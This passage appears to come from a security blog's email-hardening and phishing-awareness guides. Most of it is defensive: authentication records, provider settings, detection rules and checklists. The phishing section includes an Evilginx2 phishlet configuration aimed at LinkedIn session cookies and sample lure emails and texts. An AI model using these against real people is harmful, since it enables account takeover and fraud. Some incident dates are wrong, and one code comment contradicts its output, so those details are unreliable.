automatic mechanism to find someone's public key or verify it's the right one. The web-of-trust model requires deliberate social scaffolding. Most non-technical users don't use it. Most corporate mail clients (Outlook in particular) have poor native PGP support. For most organizational email encryption needs, S/MIME is more practical. For individuals communicating with technically sophisticated contacts, PGP remains viable. ## Provider-Specific Hardening ### Google Workspace **DKIM and SPF via Admin Console:** ``` Admin Console → Apps → Google Workspace → Gmail → Authenticate email ``` Enable DKIM signing and copy the generated DNS TXT record to your domain registrar. **Comprehensive security settings:** ``` Admin Console → Apps → Google Workspace → Gmail → Safety ``` - Protect against domain spoofing: Enable - Protect against spoofing of employee names: Enable - Protect against inbound emails spoofing your domain: Enable - Protect against any unauthenticated emails: Enable (with quarantine or warning label) **Disable POP and IMAP for high-risk roles:** ``` Admin Console → Apps → Google Workspace → Gmail → End User Access → IMAP access: disabled for all or specific OUs → POP access: disabled ``` **Enhanced sandbox for attachments:** ``` Admin Console → Apps → Google Workspace → Gmail → Safety → Attachments → Enhanced pre-delivery message scanning: Enable ``` ### Microsoft 365 / Exchange Online **Anti-phishing policy configuration (via Defender portal):** ``` security.microsoft.com → Email & collaboration → Policies & rules → Threat policies → Anti-phishing → Create/edit policy: - Impersonation: Add specific users (CEO, CFO, IT admin) and domains to protect - Mailbox intelligence: Enable (uses mail flow patterns to identify unusual senders) - First contact safety tips: Enable (warns when receiving email from a new sender) - Spoofing intelligence: Enable (identifies and applies policy to spoofed senders) ``` **Safe Attachments policy:** ``` security.microsoft.com → Email & collaboration → Policies & rules → Threat policies → Safe Attachments → Enable Safe Attachments for email messages → Action: Block — block current and future messages with detected malware → Enable redirect for blocked attachments (sends to a quarantine address for admin review) ``` **Safe Links policy:** ``` security.microsoft.com → Email & collaboration → Policies & rules → Threat policies → Safe Links → Enable URL checking in email messages → Apply real-time URL scanning for suspicious links → Apply Safe Links to email messages sent within the organization (catches internal phishing) → Do not allow users to click through to original URL ``` **Block legacy authentication (via Conditional Access):** ``` Azure Active Directory → Security → Conditional Access → New policy → Target: All users (with exceptions for service accounts as needed) → Conditions → Client apps → Select: "Exchange ActiveSync clients" and "Other clients" → Grant: Block access → Enable policy ``` Legacy authentication (basic auth over IMAP, POP3, SMTP AUTH) bypasses all Conditional Access policies including MFA. Blocking it is a high-priority hardening action. ## The Complete Email Security Stack: Checklist **Domain authentication (protect your domain from spoofing):** - [ ] SPF record published with `-all` for every domain and subdomain you own - [ ] Null SPF (`v=spf1 -all`) on parked domains and unused subdomains - [ ] DKIM enabled with RSA-2048 or Ed25519 keys, selector rotation scheduled annually - [ ] DMARC at `p=reject` with aggregate reports flowing to a monitored inbox or DMARC reporting service - [ ] DMARC `sp=reject` to protect subdomains - [ ] BIMI configured (bonus: logo display in supporting clients) **Inbound threat filtering:** - [ ] Attachment sandboxing enabled - [ ] URL rewriting and click-time scanning enabled - [ ] Anti-impersonation policies for executive names and domains - [ ] Legacy authentication protocols (IMAP basic auth, POP3, SMTP AUTH) disabled for all users - [ ] Inbound DMARC enforcement: reject mail that fails alignment for your own domains **Account security:** - [ ] MFA required for all mailbox access - [ ] Hardware security key (FIDO2) for high-value accounts (executives, finance, IT admin) - [ ] Suspicious sign-in alerts configured - [ ] Alert on inbox rule creation (attackers create rules to forward mail or hide attack evidence) **Procedures (the human layer):** - [ ] Out-of-band verification required for all wire transfers and payment redirects - [ ] Dual authorization required for financial transactions above threshold - [ ] Clear, low-friction mechanism for reporting suspicious emails - [ ] Quarterly phishing simulations with targeted follow-up training - [ ] Lookalike domain monitoring for your primary domain The technical controls at the domain authentication layer (SPF/DKIM/DMARC) are the foundation. They're free, they scale automatically, and at `p=reject` they eliminate an entire category of attack (direct domain spoofing) that would otherwise require sophisticated filtering to catch. Build that foundation first, then layer the gateway and procedure controls on top. Email security is not a problem that gets solved. It's a problem that gets managed: the threat landscape continues to evolve, attack techniques continue to improve, and the defensive stack has to evolve with it. The goal is to systematically eliminate the cheap attacks (automated spoofing, credential stuffing, commodity phishing) through technical controls, leaving only the expensive attacks (targeted BEC requiring real research, sophisticated phishing requiring bespoke development) that reach humans, where training and procedure are the last line of defense. ## Related guides - [What Is Phishing and How to Stop It](/what-is-phishing) - [The Social Engineering Playbook](/social-engineering-playbook) - [Best Secure & Encrypted Email Providers in 2026](/best-secure-email) - [Cybersecurity for Small Business: The Essential Checklist](/cybersecurity-for-small-business) - [Encryption Explained: How Your Data Stays Private](/encryption-explained) - [SPF, DKIM and DMARC Explained](/spf-dkim-dmarc-explained) Most attacks above start with data already sitting on people-search and broker sites. **[MyDataRemoval](/ref/mydataremoval)** wipes your phone, email, and home address from 200+ broker sites and keeps re-checking every month. *This links to the vendor's own page and earns us nothing today.* ### Sources - DMARC Overview (RFC 7489) (IETF): https://www.rfc-editor.org/rfc/rfc7489 - CISA Email Security Best Practices (CISA): https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a - NIST SP 800-177 Rev. 1: Trustworthy Email (NIST): https://csrc.nist.gov/publications/detail/sp/800-177/rev-1/final --- ## What Is Phishing and How to Stop It > Phishing is still the #1 attack vector. Learn how it works, the most dangerous variants, and exactly how to protect yourself and your org. - URL: https://blog.pwnsy.com/what-is-phishing - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: beginner - Category: phishing - Tags: phishing, email-security, social-engineering, spear-phishing, security-awareness - Related: [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained) ### TL;DR - Phishing is a psychological manipulation attack, urgency, authority, and fear suppress critical evaluation; the technical infrastructure costs as little as $50. - Adversary-in-the-Middle (AitM) kits like Evilginx relay credentials and TOTP codes in real time, defeating SMS-based two-factor authentication. - Hardware FIDO2 keys and passkeys are the only credential controls that defeat real-time phishing proxies, because the key signs a challenge bound to the real domain. - DMARC p=reject on every owned domain (including parked domains), is the foundational technical control that prevents your domain from being impersonated. ### Key Takeaways - The FBI's 2023 Internet Crime Report recorded $2.9 billion in Business Email Compromise losses, making it the single largest category of cybercrime by financial damage. - DKIM and SPF alone are insufficient; DMARC alignment ties authentication to the From: header and must be set to p=reject to provide meaningful protection. - Spear phishing attacks use publicly available OSINT from LinkedIn, press releases, and conference schedules to craft convincing pretexts that defeat generic security awareness training. - QR code phishing bypasses email security gateways because URL detonation engines cannot inspect a URL embedded inside an image. - An out-of-band verification requirement for wire transfers and credential resets (enforced without exceptions for urgency), is the process control that stops BEC fraud. In March 2022, Twilio's employees received text messages claiming their credentials had expired, directing them to a convincing fake corporate login portal. Multiple employees complied. The attackers used those credentials to access Twilio's internal systems, compromising customer data including Authy two-factor authentication accounts for thousands of Signal users. The entire operation started with a text message. In March 2023, a member of the Lapsus$ group sent a WhatsApp message to an Uber contractor impersonating Uber IT support while simultaneously flooding them with Duo push notifications. The contractor approved a push, the attacker got VPN access, and Uber's internal systems were compromised. Text message, phone call, two-factor manipulation: no zero-day in sight. Phishing is not a technical attack. It is a psychological manipulation delivered through a communications channel. It succeeds in the gap between what a message claims to be and what it actually is, and humans are remarkably poor at detecting that gap under time pressure, authority cues, and fear responses. ## The Mechanics: How Phishing Actually Works A phishing attack has three components: 1. **Delivery**: The message reaches the target through email, SMS, phone, social media, or messaging apps 2. **Pretext**: The message establishes a false but believable context: a sense of urgency, authority, or legitimacy that suppresses critical evaluation 3. **Call to action**: Click this link, enter your password, open this attachment, approve this transaction, read this code The attacker's goal is one of: - **Credential harvest**: Capture username and password via fake login page - **Malware delivery**: Get the target to execute a malicious file or visit an exploit-delivering URL - **Financial fraud**: Direct wire transfers, gift card purchases, or cryptocurrency payments - **Access (via MFA relay)**: Capture credentials AND one-time codes in real time through a proxy The technical sophistication required for delivery and pretext construction is essentially zero, phishing kits are sold on dark web markets for $10-$50 and include convincing replicas of any major brand's login page, automated credential harvesting infrastructure, and in some cases MFA bypass proxy functionality. The criminal barrier to entry is a registration fee and a target list. ## Anatomy of a Phishing Email Before examining the types, understanding the structure of what makes a phishing email effective is more useful than a list of "red flags" that attackers are already aware of and actively working around. **Sample phishing email analysis:** ``` From: noreply@paypal-account-secure.com To: victim@company.com Subject: Action Required: Unusual activity detected on your account --- Dear PayPal Customer, We have detected unusual login activity on your PayPal account from an unrecognized device (iPhone, Berlin, Germany). To secure your account and prevent unauthorized access, you must verify your identity within 24 hours. Failure to verify will result in your account being temporarily suspended. [VERIFY MY ACCOUNT NOW] PayPal Security Team @2026 PayPal Inc. All rights reserved. --- Analysis of this email's manipulation structure: 1. Sender domain: paypal-account-secure.com Legitimate: paypal.com The domain contains "paypal" and "secure" — both reassuring words but the registerable domain is paypal-account-secure.com, not paypal.com 2. Urgency: "within 24 hours" Prevents deliberate evaluation Real PayPal: suspicious activity triggers an email but not a 24-hour ultimatum 3. Fear: "unusual login activity... unrecognized device" The specific detail (iPhone, Berlin) increases perceived legitimacy Attackers sometimes use real location data from IP geolocation services 4. Authority: "PayPal Security Team" Claims institutional authority No way for recipient to verify the sender is actually PayPal security 5. Generic greeting: "Dear PayPal Customer" Spear phishing addresses you by name; bulk phishing cannot This is a tell for bulk attacks — spear phishing removes this signal 6. Visual branding: Real phishing kits include exact HTML/CSS copies of PayPal's actual email templates. The button links to paypal-account-secure.com/login which renders a pixel-perfect PayPal login page. ``` **Email header analysis, what actually reveals the sender:** ``` # Email headers contain the routing information that branding cannot fake # Access via Gmail: three dots → Show original # Access via Outlook: File → Properties → Internet headers Received: from mail.paypal-account-secure.com (mail.paypal-account-secure.com [185.220.101.47]) by mx.google.com with ESMTP id ... for DKIM-Signature: v=1; a=rsa-sha256; d=paypal-account-secure.com; ... # DKIM is signed by paypal-account-secure.com, NOT paypal.com Return-Path: # Replies go to the attacker's domain Authentication-Results: mx.google.com; dkim=pass (paypal-account-secure.com) # DKIM valid but for the WRONG domain spf=pass (paypal-account-secure.com) # SPF valid but for the WRONG domain dmarc=pass (paypal-account-secure.com) # DMARC passes for WRONG domain # What to check: # 1. The domain in DKIM, SPF, DMARC — does it match the brand being impersonated? # 2. The IP address in the first Received: header — does it resolve to the claimed sender? # 3. Return-Path: — where do replies actually go? ``` ## Phishing Kit Infrastructure Understanding what attackers deploy on the backend helps defenders detect and disrupt phishing operations. **Phishing kit structure:** ``` # Typical phishing kit directory structure (from OSINT and law enforcement disclosures) phishing_kit/ ├── index.html # Fake login page (brand replica) ├── login.php # Credential capture and redirect ├── assets/ │ ├── css/ # Copied from legitimate site │ ├── js/ # May include anti-detection scripts │ └── img/ # Brand logos and images ├── config.php # Attacker email, redirect URL ├── logs/ # Captured credentials stored here └── .htaccess # Often: block security researcher IPs, # redirect bots and crawlers # config.php (typical) # login.php (simplified credential harvester) ``` **MFA-bypassing phishing kits (Adversary-in-the-Middle):** Standard phishing kits capture credentials but not TOTP codes. Advanced kits (Evilginx2, Modlishka, Muraena) operate as transparent reverse proxies: ``` Standard phishing: Victim → Fake site → Attacker has credentials AITM (Adversary-in-the-Middle) phishing: Victim → Evilginx proxy → Real site ↑ Captures: ↑ - Credentials - Real session - TOTP codes - Real cookies - Session token # Evilginx2 configuration (phishlet) # Instructs the proxy how to handle a specific target's authentication flow name: 'linkedin' proxy_hosts: - { phish_sub: 'www', orig_sub: 'www', domain: 'linkedin.com', session: true, is_landing: true } - { phish_sub: 'api', orig_sub: 'api', domain: 'linkedin.com', session: true } auth_tokens: - domain: '.linkedin.com' keys: ['JSESSIONID', 'li_at'] # Session cookies to capture credentials: username: key: 'session_key' search: '(.*)' type: 'post' password: key: 'session_password' search: '(.*)' type: 'post' ``` This is why hardware keys and passkeys defeat phishing: the session cookie captured by Evilginx is valid, but it's the user's active session. The FIDO2 credential was never transmitted (it signed a challenge bound to the phishing domain, which the real site rejected). Even TOTP codes can be relayed, hardware keys cannot be. ## Types of Phishing Attacks ### Bulk Email Phishing Mass-scale attacks targeting millions of recipients simultaneously. Success requires only a fraction of a percent click rate, 0.1% of 10 million emails is still 10,000 compromised accounts. **Common lure categories and their psychological mechanisms:** | Lure Type | Psychological Mechanism | Example | |---|---|---| | Account suspension | Fear of loss | "Your Gmail will be deleted in 24 hours" | | Package delivery | Anticipation + curiosity | "Your USPS package needs confirmation" | | Tax/financial | Authority + fear | "IRS tax return requires verification" | | Password expiry | Urgency | "Your Office 365 password expires today" | | Security alert | Fear + authority | "Unusual login detected on your account" | | Prize/reward | Greed | "You've been selected for a gift card" | | COVID/crisis | Fear + authority | Used extensively 2020-2022; now other crises | **Detection by email security systems:** ``` Email authentication checks (why DMARC matters): SPF - Specifies which mail servers can send email for a domain If paypal.com's SPF record doesn't include the attacker's server → SPF fail DKIM - Cryptographic signature from the sending domain's private key Attacker cannot sign with paypal.com's private key → DKIM fail DMARC - Policy: what to do when SPF or DKIM fails p=reject → reject the email entirely p=quarantine → send to spam p=none → monitor only, no action (useless for protection) The attacker's workaround: register lookalike domain (paypa1.com, paypal-security.com) and set up valid SPF/DKIM/DMARC for THAT domain. Authentication passes — but for the wrong domain. Email gateway analysis layers: 1. Reputation analysis: sender IP, domain reputation scores 2. URL detonation: visit the link in a sandbox, observe behavior 3. Attachment sandboxing: execute the attachment in a VM, observe behavior 4. ML-based content analysis: pattern matching on language, layout 5. Link rewriting: all links rewritten through a proxy for real-time inspection at click time ``` ### Spear Phishing Targeted attacks against specific individuals or organizations. The attacker invests research time proportional to the expected return. A spear phishing campaign against a CFO approves wire transfers: the research investment is an hour on LinkedIn; the potential return is millions. **The 2016 DNC Hack: A Documented Spear Phishing Incident** On March 19, 2016, Clinton campaign chairman John Podesta received an email that appeared to be a Google security alert warning him that his Gmail password had been accessed from an unusual IP address. The email was sent by Fancy Bear (APT28), attributed to Russian military intelligence (GRU). It contained a link to what appeared to be a password reset page. A Clinton campaign aide forwarded the email to IT staffer Charles Delavan, who later described his response as a "legitimate" email being a typo for "illegitimate." Podesta clicked through and entered his credentials. Result: 50,000 emails obtained and provided to WikiLeaks, released in October 2016 during the final weeks of the presidential election. The technical sophistication of the phishing email: it was a Bitly link (shortened URL) to a credential phishing page. The attacker's infrastructure was a URL shortener. **Spear phishing OSINT sources:** ``` For targeting an executive: - LinkedIn: role, direct reports, external board memberships, recent posts - Twitter: opinions, travel schedule (attending conference next week?), interests - Company press releases: recent announcements, current deals, strategic priorities - SEC filings: for public companies, financial details, material events - Conference speaker bios: events attended, topics of expertise - Google Scholar/ResearchGate: academic background (for technical targets) Example spear phishing subject lines built from OSINT: - "Re: Q3 board materials" (timely during fiscal Q3 close) - "Following up on our conversation at RSA Conference" (attacker saw them speak) - "Invoice from [vendor they actually use]" (found in procurement job postings) - "Updated documentation for [internal system name from job posting]" ``` **Real-world spear phishing email (Simulated, showing the research-informed approach):** ``` From: legal@acquisitions-mercer.com To: john.podesta@hillaryclinton.com Subject: Urgent: Document review required before Thursday John, I'm reaching out at the suggestion of [CFO Name] regarding the pending Mercer advisory arrangement. We need your review of the attached NDA before Thursday's call with the partners. I've uploaded the current draft to our secure portal: [LINK THAT APPEARS LEGITIMATE] Please review and sign before 5PM Thursday. [Attacker name] [Fake law firm and contact info] ``` Every element is researched: the recipient, the timing, the reference to a real-seeming process, the urgency, the instruction to use a portal (not email reply). The target is John Podesta; the attacker has researched that Mercer-related activities exist and are plausibly relevant. ### Business Email Compromise (BEC) BEC fraud is specifically oriented toward financial theft rather than credential harvesting or malware delivery. The FBI's 2023 Internet Crime Report recorded $2.9 billion in BEC losses: the single largest category of cybercrime by financial damage. **BEC typologies:** 1. **CEO fraud**: Email purportedly from the CEO to finance, requesting urgent wire transfer 2. **Attorney impersonation**: Fake outside counsel claiming to handle a confidential deal 3. **Vendor impersonation**: Legitimate vendor's email is compromised, or lookalike domain is used to redirect payments 4. **Employee impersonation**: HR receives direct deposit change request "from employee" 5. **M&A related**: Impersonates executives or advisors involved in a real transaction **The 2019 Toyota Boshoku BEC ($37 million):** Toyota Boshoku Corporation, a Toyota Group supplier, suffered a $37 million BEC loss in September 2019. An attacker impersonated a business partner and provided fraudulent bank account details for a wire transfer. Finance staff followed internal procedures, except that the account details they verified were the attacker's fabrication. The internal procedures didn't include a requirement to verify bank account changes through a pre-established channel. Toyota Boshoku appealed for government assistance in recovering the funds. The majority was never recovered. **The Google and Facebook $100 million BEC scheme:** Between 2013 and 2015, Lithuanian national Evaldas Rimasauskas operated a BEC scheme targeting Google and Facebook by impersonating Quanta Computer, a Taiwanese hardware manufacturer that both companies legitimately used as a supplier. Rimasauskas registered a company in Latvia with the same name as Quanta Computer, opened bank accounts in that name, and sent invoices to Google and Facebook that appeared to come from the real Quanta Computer. Both companies wired approximately $100 million combined over two years before the fraud was discovered. He was extradited to the US and sentenced to 5 years in federal prison. Google recovered approximately $49.7 million; Facebook's recovery amount was not publicly disclosed. ### Smishing: SMS Phishing SMS phishing exploits trust in the SMS channel and the limited URL preview available on mobile devices. **Why SMS is effective as a delivery channel:** - Smartphone users open 98% of SMS messages, versus 20-30% of emails - SMS messages feel more immediate and personal than email - Mobile browsers display truncated URLs, harder to inspect for spoofing - Users have been trained that banks send SMS transaction alerts (legitimate), which makes bank impersonation via SMS plausible - No equivalent of email gateway filters for incoming SMS at the consumer level **Common smishing pretexts:** ``` # Delivery impersonation (most common as of 2023) From: USPS-Tracking "USPS has a package waiting for delivery. Confirm your address: [bit.ly/XXXXX]" # Bank fraud alert (high-urgency) From: Chase-Alert "Chase Bank: Unusual activity detected. Call 1-800-XXX-XXXX immediately or your account will be suspended." # Government impersonation From: IRS "IRS Notice: You have an outstanding tax balance. Failure to respond within 24 hours will result in legal action. Review: [link]" # Two-factor abuse (recent pattern) From: Security-Alert "Your verification code is: 483920. If you did not request this, click here to secure your account: [link]" # Victim clicks "secure" link, enters the code to "cancel" it — code is relayed to attacker ``` **Detection rules for smishing:** Any incoming SMS that: - Asks you to click a link - Requests you call a number you don't have saved - Requests a code, PIN, or credential - Creates urgency around an account, delivery, or legal matter Should be verified by navigating directly to the organization's official website or calling the number you already have for them, never through the link or number provided in the SMS. ### Quishing: QR Code Phishing Emerging as of 2023-2025, QR code phishing ("quishing") embeds phishing URLs in QR codes delivered via email or physical media. The advantage for attackers: email security gateways cannot inspect the URL inside a QR code image, so the link bypasses URL detonation and link-rewriting filters. **Quishing delivery vectors:** ``` # Email delivery (most common) Email body contains an image of a QR code Subject: "Multi-factor authentication update required — scan to verify" The QR code resolves to a phishing portal Email security filters see an image, not a URL → scans pass # Physical delivery (high-value targeting) QR code sticker placed over legitimate QR codes in public spaces: - EV charging stations (attacker sticker over payment QR → payment theft) - Restaurant menus - Conference materials - Parking meter payment QR codes # Document delivery Legitimate-looking invoices, contracts, or instructions with QR codes "Scan to view full document" → credential harvest ``` **Defenses:** - Email security platforms from 2024 onward (Microsoft Defender for Office 365 Plan 2, Proofpoint TAP) have added QR code extraction and URL inspection - Enable QR code scanning in email security gateway settings - Train users: QR codes in emails requiring urgent action are red flags ## Email Authentication: SPF, DKIM, DMARC Understanding email authentication is the prerequisite for deploying it correctly and understanding why it is insufficient alone. **SPF (Sender Policy Framework):** DNS TXT record that lists servers authorized to send email for a domain: ``` # DNS TXT record for example.com v=spf1 include:_spf.google.com include:sendgrid.net ip4:203.0.113.0/24 ~all # Breakdown: # v=spf1 : SPF version 1 # include:... : Allow Google's and SendGrid's servers # ip4:... : Allow this specific IP range # ~all : Soft fail anything else (mark as spam, don't reject) # Use -all for hard fail (reject) in production once validated # Limitation: SPF validates the envelope-from (MAIL FROM), not the From: header # Attackers can pass SPF while still spoofing the displayed From: header ``` **DKIM (DomainKeys Identified Mail):** Cryptographic signature added to email headers by the sending mail server, verified with the public key in DNS: ``` # DKIM DNS record (selector: google._domainkey.example.com) v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC... # Email header (added by sending server) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=example.com; s=google; h=from:to:subject:date; bh=; b=; # Validation: # Receiving server fetches public key from google._domainkey.example.com # Verifies the signature using the public key # If valid: email was sent by example.com's authorized sender # and headers listed in h= were not modified in transit # Limitation: DKIM validates the d= domain in the signature, which can differ from From: ``` **DMARC (Domain-based Message Authentication, Reporting & Conformance):** Policy layer that ties SPF and DKIM to the From: header and specifies what to do when they don't align: ``` # DNS TXT record (_dmarc.example.com) v=DMARC1; p=reject; rua=mailto:dmarc@example.com; ruf=mailto:dmarc@example.com; pct=100; adkim=s; aspf=s # Breakdown: # p=reject : Reject emails failing DMARC alignment # Start with p=none (monitoring), then p=quarantine, then p=reject # rua=... : Aggregate reports (daily reports from receivers) → your email # ruf=... : Forensic reports (individual failure reports) # pct=100 : Apply policy to 100% of messages # adkim=s : Strict DKIM alignment (d= in DKIM must exactly match From: domain) # aspf=s : Strict SPF alignment (MAIL FROM must match From: domain) # DMARC alignment is the key protection: # Attacker sends From: paypal.com using their server # SPF: passes for attacker's domain, but fails alignment with paypal.com # DKIM: might pass for attacker's domain, but fails alignment with paypal.com # DMARC: p=reject → email rejected # This protects paypal.com from being impersonated, IF paypal.com has p=reject ``` **DMARC deployment reality:** According to Valimail's 2024 Email Fraud Landscape report, approximately 85% of Fortune 500 companies have DMARC records, but only about 55% have p=reject policies. The remaining 30% have p=none or p=quarantine, monitoring and soft enforcement, not actual rejection. Any domain without p=reject can still be impersonated via display name spoofing. ```bash # Check an organization's DMARC record dig TXT _dmarc.company.com # Or use MXToolbox # https://mxtoolbox.com/dmarc.aspx # Check your own domain's email authentication dig TXT yourdomain.com # SPF record dig TXT selector._domainkey.yourdomain.com # DKIM (need correct selector name) dig TXT _dmarc.yourdomain.com # DMARC policy # Common issues found: # - No DMARC record (attacker can spoof your domain entirely) # - p=none (monitoring only — no protection) # - SPF record has too-permissive ~all instead of -all # - Parked domains without SPF/DKIM/DMARC (still spoofable for domain impersonation) ``` **Critical: Protect parked domains.** Organizations with secondary domains (old company names, regional variants, product domains) that don't send email are frequently used for phishing because they're never monitored. Minimum protection for parked domains: ``` # DNS records for parked domain (parked.example.com) # SPF — reject all senders TXT "v=spf1 -all" # DKIM — no valid selectors → DKIM always fails # (no record needed; absence fails) # DMARC — reject policy TXT "_dmarc.parked.example.com" → "v=DMARC1; p=reject;" ``` ## Detection Rules for Security Operations **Splunk, Detect phishing credential harvest page visits:** ```spl # Identify users visiting pages that captured credentials index=proxy OR index=network | search (url="*/login*" OR url="*/signin*" OR url="*/account*") | lookup threat_feeds domain as domain OUTPUT category | where category="phishing" OR category="newly_registered" | stats count by user, url, domain, _time | where count > 1 # More than one visit = entered credentials, checked result ``` **Splunk, Detect rapid email-based download of files:** ```spl # Attachment download followed quickly by child process execution index=windows EventCode=4688 | join type=inner maxspan=5m host [ search index=email attachment_type IN ("exe","doc","docm","xlsm","js","hta","iso","img") | table _time, recipient, attachment_name, attachment_hash ] | table _time, host, user, attachment_name, ParentProcessName, NewProcessName, CommandLine ``` **KQL (Sentinel), Detect HTML smuggling (common phishing delivery for ISO/LNK files):** ```kql // HTML attachments that contain base64-encoded executables EmailAttachmentInfo | where FileType =~ "html" | join kind=inner ( EmailEvents | where ThreatTypes has "Phish" ) on NetworkMessageId | project TimeGenerated, SenderFromAddress, RecipientEmailAddress, FileName, SHA256, Subject ``` **KQL, Detect OAuth consent phishing (cloud phishing for app permissions):** ```kql // Suspicious OAuth app consent events AuditLogs | where OperationName == "Consent to application" | extend AppDisplayName = tostring(TargetResources[0].displayName) | extend ConsentGrant = tostring(InitiatedBy.user.userPrincipalName) | where AppDisplayName !in~ (known_approved_apps) // Against an approved app list | project TimeGenerated, ConsentGrant, AppDisplayName, Result | order by TimeGenerated desc ``` **YARA rule, Detect common phishing kit indicators:** ```yara rule PhishingKit_CredentialHarvester { meta: description = "Detects common phishing kit credential harvester patterns" author = "Security Team" severity = "high" strings: $mail_function = "mail(" nocase $post_email = "$_POST['email']" nocase $post_password = "$_POST['password']" nocase $file_append = "FILE_APPEND" nocase $redirect = "header(\"Location:" nocase $log_path = "logs/" nocase condition: 4 of them and filesize < 50KB } rule PhishingKit_AiTM_Proxy { meta: description = "Detects AITM phishing proxy configuration" strings: $evilginx = "phishlet" nocase $modlishka = "Modlishka" nocase $auth_token = "auth_tokens" nocase $proxy_hosts = "proxy_hosts" nocase condition: 2 of them } ``` ## How to Analyze a Suspicious Email Systematic analysis for any suspicious email: ```bash # Step 1: Check sender domain # Look at the From: header carefully # "PayPal Support" # Display name: PayPal Support (reassuring but meaningless) # Email: paypal-service-notification.net (NOT paypal.com) # Check domain registration: whois paypal-service-notification.net # Check: registration date (recent = suspicious) # Step 2: Check links WITHOUT clicking # Hover over any link in the email # paypal.com.account-verify.phishing.net/login # ↑ This is the registerable domain: phishing.net # Not paypal.com # Programmatic check: python3 -c " from urllib.parse import urlparse url = 'https://paypal.com.account-verify.net/login' parsed = urlparse(url) parts = parsed.netloc.split('.') print(f'Registerable domain: {parts[-2]}.{parts[-1]}') # Output: account-verify.net (not paypal.com) " # Step 3: Analyze email headers # Gmail: three dots → Show original # Outlook: File → Properties → Internet headers # Key headers to check: # Return-Path: (where replies actually go) # Received: (routing history — first entry is sending server) # Authentication-Results: (SPF/DKIM/DMARC results) # DKIM-Signature: d= field (what domain signed this) # Step 4: Check attachments (without opening) # File hash against VirusTotal: sha256sum suspicious_attachment.pdf # Submit hash at: virustotal.com # Step 5: Submit suspicious URL for analysis # VirusTotal: virustotal.com/gui/home/url # URLScan.io: urlscan.io (screenshots the site safely) # Any.run: app.any.run (full sandbox) ``` ## Protecting Your Organization **For security teams deploying organizational email defenses:** ```yaml # Microsoft Defender for Office 365 — Recommended Configuration # Via Microsoft 365 Defender → Email & Collaboration → Policies & Rules Anti-phishing policy (Strict preset): impersonation_protection_users: [executives, finance, IT, HR leads] impersonation_protection_domains: [yourdomain.com, partner_domains] mailbox_intelligence: enabled spoof_intelligence: enabled action_impersonated_user: quarantine action_impersonated_domain: quarantine action_spoof: quarantine Anti-malware policy: zero_hour_auto_purge: enabled common_attachment_filter: enabled # Blocks exe, js, vbs, cmd, etc. Safe Links: url_scanning: enabled link_rewriting: enabled real_time_url_scan: enabled # Check at click time, not just delivery time do_not_track: disabled allow_click_through: disabled # Do not allow users to click through warnings Safe Attachments: action: block # Block malicious; dynamic delivery for unknown dynamic_delivery: enabled quarantine_malware: enabled ``` **DMARC implementation project plan:** ``` Week 1-2: Inventory □ All email-sending domains (primary, secondary, parked, acquired company domains) □ All services that send email on your behalf (marketing, HR, CRM, etc.) □ Current SPF, DKIM, DMARC records for each domain Week 3-4: SPF implementation □ Create/update SPF records to include all legitimate senders □ Test with -all (hard fail) in staging, then production □ Use SPF flattening if you hit the 10 DNS lookup limit Week 5-8: DKIM implementation □ Enable DKIM signing on your mail server / email provider □ Generate and publish public keys in DNS □ Validate DKIM signing for all major email flows Week 9-10: DMARC p=none (monitoring) □ Publish DMARC with p=none and rua= for aggregate reports □ Point reports to a DMARC reporting service (Valimail, dmarcian, Postmark) □ Monitor 2 weeks to identify legitimate email sources failing authentication Week 11-12: Remediate failures □ Fix legitimate sources failing DMARC □ Update SPF/DKIM for any services discovered in reports Week 13-14: Escalate to p=quarantine □ Change policy to p=quarantine pct=10 (quarantine 10% of failures) □ Monitor for 1 week, increase to pct=100 Week 15+: Escalate to p=reject □ Change to p=reject when confident all legitimate mail passes □ Continue monitoring reports — legitimate services are occasionally added Parked domains: □ Immediately set p=reject and "v=spf1 -all" for all domains you don't send from □ No monitoring period needed — they should never send legitimate email ``` ## Phishing Defense Checklist **For individuals:** - [ ] Never click links in unexpected emails about accounts, deliveries, taxes, or security alerts, navigate directly to the site - [ ] Check the actual sender address, not the display name - [ ] Install your password manager's browser extension: it will not autofill on fake lookalike domains - [ ] Enable hardware key or passkey on your most important accounts: it defeats real-time phishing proxies entirely - [ ] Report suspicious emails (forward to the legitimate organization's abuse address, and to your IT team if at work) - [ ] On mobile: enable "Show full URL" in browser settings; be skeptical of any SMS link **For organizations:** - [ ] DMARC p=reject on all owned domains including parked domains - [ ] Deploy Safe Links with click-time URL inspection (not just delivery-time) - [ ] Enable Safe Attachments with dynamic delivery - [ ] Anti-phishing policies with impersonation protection configured for executives and finance - [ ] Run quarterly phishing simulations, measure, train, re-test, report trends - [ ] Hardware key (FIDO2) requirement for privileged accounts and finance staff, renders credential phishing useless - [ ] QR code scanning enabled in email security gateway (2024+ feature) - [ ] Out-of-band verification policy for wire transfers and credential resets: no exceptions for urgency - [ ] SOC detection rules for credential harvest site visits, OAuth consent phishing, unusual attachment → process execution chains The attacker who succeeds via phishing wins not because their technical infrastructure is sophisticated (most of it is commodity kit costing $50) but because the target never paused to check whether the message was legitimate. That pause, systematized into a protocol, is the defense that doesn't depend on any technology vendor. ## Common misconceptions about phishing Several widely held beliefs give people false confidence, and each one has been the gap an attacker walked through. **"I can spot a phishing email by the bad grammar."** That heuristic is obsolete. Typos and clumsy phrasing were tells of low-effort bulk campaigns and of translation gaps. Modern lures read fluently, use correct branding, and are often personalized from public data. Judging a message by its polish trains you to trust the convincing ones, which are the dangerous ones. Judge by the request and verify the source instead. **"Two-factor authentication makes phishing pointless."** It depends on the factor. Codes delivered by SMS or generated by an authenticator app can be relayed in real time by an adversary-in-the-middle proxy, which sits between you and the real site and forwards both your password and your code. Hardware keys and passkeys resist this because they sign a challenge bound to the real domain, so a credential presented to a lookalike domain is worthless. The blanket claim that any second factor defeats phishing is false. **"Only careless or non-technical people fall for it."** Engineers, executives, and security staff have all been phished. The attack targets attention and context, not intelligence. A well-timed message that references a real project, arrives during a busy moment, and asks for something routine defeats expertise, because the victim is pattern-matching to normal work rather than 